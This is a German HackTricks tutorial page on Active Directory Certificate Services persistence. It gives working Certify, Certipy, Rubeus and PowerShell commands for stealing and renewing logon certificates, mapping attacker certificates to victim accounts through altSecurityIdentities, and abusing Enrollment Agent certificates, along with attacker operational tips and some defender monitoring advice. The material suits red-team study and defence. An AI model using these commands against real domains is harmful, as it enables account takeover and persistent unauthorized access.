AD CS Kontenpersistenz
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.
Dies ist eine kurze Zusammenfassung der Kapitel zur Kontenpersistenz der großartigen Forschung von https://specterops.io/assets/resources/Certified_Pre-Owned.pdf
Verständnis des Diebstahls aktiver Benutzeranmeldeinformationen mittels Zertifikaten – PERSIST1
In einem Szenario, in dem ein Zertifikat, das die Domänen-Authentifizierung ermöglicht, von einem Benutzer angefordert werden kann, hat ein Angreifer die Möglichkeit, dieses Zertifikat anzufordern und zu stehlen, um Persistenz in einem Netzwerk aufrechtzuerhalten. Standardmäßig erlaubt die User-Vorlage in Active Directory solche Anfragen, obwohl sie manchmal deaktiviert sein kann.
Mit Certify oder Certipy können Sie nach aktivierten Vorlagen suchen, die Client-Authentifizierung erlauben, und dann eine anfordern:
# Enumerate client-auth capable templates
Certify.exe find /clientauth
# Request a user cert from an Enterprise CA (current user context)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
Die Stärke eines Zertifikats liegt in seiner Fähigkeit, sich als der Benutzer zu authentifizieren, dem es gehört, unabhängig von Passwortänderungen, solange das Zertifikat gültig bleibt.
Du kannst PEM in PFX konvertieren und es verwenden, um ein TGT zu erhalten:
# Convert PEM returned by Certify to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Use certificate for PKINIT and inject the TGT
Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt
# Or with Certipy
certipy auth -pfx user.pfx -dc-ip 10.0.0.10
Hinweis: In Kombination mit anderen Techniken (siehe THEFT sections) ermöglicht certificate-based auth persistenten Zugriff, ohne LSASS zu berühren, und sogar aus nicht erhöhten Kontexten.
Erlangen von Maschinenpersistenz mit Zertifikaten - PERSIST2
Wenn ein Angreifer erhöhte Berechtigungen auf einem Host hat, kann er das Maschinenkonto des kompromittierten Systems für ein Zertifikat mit der Standardvorlage Machine registrieren. Die Authentifizierung als Maschinenkonto aktiviert S4U2Self für lokale Dienste und kann dauerhafte Host-Persistenz bieten:
# Request a machine certificate as SYSTEM
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
# Authenticate as the machine using the issued PFX
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt
Erweiterung der Persistenz durch Zertifikatserneuerung - PERSIST3
Die Ausnutzung der Gültigkeits- und Erneuerungszeiträume von Zertifikatvorlagen ermöglicht einem Angreifer, langfristigen Zugriff aufrechtzuerhalten. Wenn Sie ein zuvor ausgestelltes Zertifikat und dessen privaten Schlüssel besitzen, können Sie es vor Ablauf erneuern, um ein neues, langfristig gültiges Anmeldezertifikat zu erhalten, ohne zusätzliche Anforderungsartefakte zu hinterlassen, die an die ursprüngliche Identität gebunden sind.
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
# Provide the existing PFX and target the same CA/template when possible
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx
# Native Windows renewal with certreq
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
Operationeller Tipp: Verfolge die Laufzeiten von vom Angreifer gehaltenen PFX-Dateien und erneuere frühzeitig. Eine Erneuerung kann außerdem bewirken, dass aktualisierte Zertifikate die moderne SID mapping extension enthalten, wodurch sie unter strengeren DC mapping rules weiter verwendbar bleiben (siehe nächsten Abschnitt).
Explizite Zertifikatszuordnungen setzen (altSecurityIdentities) – PERSIST4
Wenn du in das altSecurityIdentities-Attribut eines Zielkontos schreiben kannst, kannst du explizit ein vom Angreifer kontrolliertes Zertifikat diesem Konto zuordnen. Diese Zuordnung bleibt auch bei Passwortänderungen bestehen und funktioniert bei Verwendung starker Zuordnungsformate weiterhin unter moderner DC-Durchsetzung.
High-level flow:
- Obtain or issue a client-auth certificate you control (e.g., enroll
Usertemplate as yourself). - Extract a strong identifier from the cert (Issuer+Serial, SKI, or SHA1-PublicKey).
- Add an explicit mapping on the victim principal’s
altSecurityIdentitiesusing that identifier. - Authenticate with your certificate; the DC maps it to the victim via the explicit mapping.
Example (PowerShell) using a strong Issuer+Serial mapping:
# Example values - reverse the issuer DN and serial as required by AD mapping format
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA'
$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial
$Map = "X509:<I>$Issuer<SR>$SerialR"
# Add mapping to victim. Requires rights to write altSecurityIdentities on the object
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
Authentifizieren Sie sich dann mit Ihrem PFX. Certipy wird direkt ein TGT beziehen:
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
# If PKINIT is unavailable on the DC, reuse the same persisted cert via Schannel/LDAPS
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 -ldap-shell
Aufbau starker altSecurityIdentities-Zuordnungen
In der Praxis sind Issuer+Serial- und SKI-Zuordnungen die am einfachsten aus einem vom Angreifer gehaltenen Zertifikat zu erstellenden starken Formate. Das ist wichtig nach dem 11. Februar 2025, wenn DCs standardmäßig auf Full Enforcement umstellen und schwache Zuordnungen nicht mehr zuverlässig sind.
# Extract issuer, serial and SKI from a cert/PFX
openssl pkcs12 -in attacker_user.pfx -clcerts -nokeys -out attacker_user.crt
openssl x509 -in attacker_user.crt -noout -issuer -serial -ext subjectKeyIdentifier
# Example strong SKI mapping for a user or computer object
$Map = 'X509:<SKI>9C4D7E8A1B2C3D4E5F60718293A4B5C6D7E8F901'
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
# Set-ADComputer -Identity 'WS01$' -Add @{altSecurityIdentities=$Map}
Hinweise
- Verwende nur starke Mapping-Typen:
X509IssuerSerialNumber,X509SKIoderX509SHA1PublicKey. Schwache Formate (Subject/Issuer, Subject-only, RFC822 email) sind veraltet und können durch DC-Richtlinie blockiert werden. - Das Mapping funktioniert sowohl für user- als auch computer-Objekte, daher reicht Schreibzugriff auf das
altSecurityIdentitieseines Computer-Kontos aus, um als diese Maschine persistent zu bleiben. - Die Zertifikatskette muss bis zu einer vom DC vertrauten Root aufgebaut werden. Enterprise CAs in NTAuth werden typischerweise vertraut; einige Umgebungen vertrauen auch öffentlichen CAs.
- Schannel-Authentifizierung bleibt für Persistenz nützlich, selbst wenn PKINIT fehlschlägt, weil der DC die Smart Card Logon EKU nicht hat oder
KDC_ERR_PADATA_TYPE_NOSUPPzurückgibt.
Mehr zu schwachen expliziten Mappings und Angriffswegen siehe:
Enrollment Agent als Persistenz – PERSIST5
Wenn du ein gültiges Certificate Request Agent/Enrollment Agent-Zertifikat erhältst, kannst du nach Belieben neue zur Anmeldung geeignete Zertifikate im Namen von Benutzern ausstellen und das Agent-PFX offline als Persistenz-Token aufbewahren. Missbrauchsablauf:
# Request an Enrollment Agent cert (requires template rights)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
# Mint a user cert on behalf of another principal using the agent PFX
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
/onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass
# Or with Certipy
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
Die Widerrufung des Agenten-Zertifikats oder der Template-Berechtigungen ist erforderlich, um diese Persistenz zu entfernen.
Betriebliche Hinweise
- Moderne
CertipyVersionen unterstützen sowohl-on-behalf-ofals auch-renew, sodass ein Angreifer, der eine Enrollment Agent PFX hält, Leaf-Zertifikate erstellen und später erneuern kann, ohne das ursprüngliche Zielkonto erneut anzufassen. - Wenn eine PKINIT-basierte TGT-Beschaffung nicht möglich ist, ist das resultierende on-behalf-of certificate dennoch für die Schannel-Authentifizierung mit
certipy auth -pfx victim_onbo.pfx -dc-ip 10.0.0.10 -ldap-shellverwendbar.
2025 Strong Certificate Mapping Enforcement: Auswirkungen auf Persistenz
Microsoft KB5014754 führte die Strong Certificate Mapping Enforcement auf Domain Controllern ein. Seit dem 11. Februar 2025 sind DCs standardmäßig auf Full Enforcement eingestellt und lehnen schwache/mehrdeutige Zuordnungen ab. Praktische Auswirkungen:
- Pre-2022-Zertifikate, die die SID-Mapping-Erweiterung nicht enthalten, können bei DCs im Full Enforcement an impliziter Zuordnung scheitern. Angreifer können den Zugriff aufrechterhalten, indem sie Zertifikate über AD CS erneuern (um die SID-Erweiterung zu erhalten) oder indem sie eine starke explizite Zuordnung in
altSecurityIdentities(PERSIST4) eintragen. - Explizite Zuordnungen mit starken Formaten (Issuer+Serial, SKI, SHA1-PublicKey) funktionieren weiterhin. Schwache Formate (Issuer/Subject, Subject-only, RFC822) können blockiert werden und sollten für Persistenz vermieden werden.
Administratoren sollten überwachen und Alarm setzen bei:
- Änderungen an
altSecurityIdentitiessowie Ausstellung/Erneuerung von Enrollment Agent- und User-Zertifikaten. - CA-Ausstellungsprotokollen für on-behalf-of-Anfragen und ungewöhnlichen Erneuerungsmustern.
Referenzen
- Microsoft. KB5014754: Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- SpecterOps. ADCS ESC14 Abuse Technique (explicit
altSecurityIdentitiesabuse on user/computer objects). https://specterops.io/blog/2024/02/28/adcs-esc14-abuse-technique/ - Certipy Wiki – Command Reference (
req -renew,auth,shadow). https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference - Almond Offensive Security. Authenticating with certificates when PKINIT is not supported. https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.


